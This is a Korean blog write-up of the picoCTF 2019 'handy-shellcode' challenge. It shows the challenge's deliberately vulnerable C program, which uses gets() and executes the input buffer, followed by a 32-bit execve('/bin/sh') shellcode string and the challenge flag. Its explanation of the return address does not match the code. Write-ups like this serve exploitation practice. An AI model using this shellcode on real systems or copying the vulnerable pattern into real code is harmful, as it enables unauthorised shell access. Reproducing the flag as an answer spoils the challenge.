Bace
picoCTF 2019 - handy-shellcode 본문
주어진 코드와 ida를 통해 분석한 코드를 보면
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter your shellcode:");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
puts("Finishing Executing Shellcode. Exiting now...");
return 0;
}
Enter your shellcode: 뒤에 입력한 글자가 바로 vuln 함수에 들어가서 ret 주소가 된다.
파일은 32비트 파일이므로 32비트 쉘코드를 넣어주면 될 것 같다.
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
문제에 주어진 쉘서버 경로에 들어가서 다음과 같이 pwntools를 이용해 코드를 작성하였다.
flag가 떴다.
picoCTF{h4ndY_d4ndY_sh311c0d3_ce07e7f1}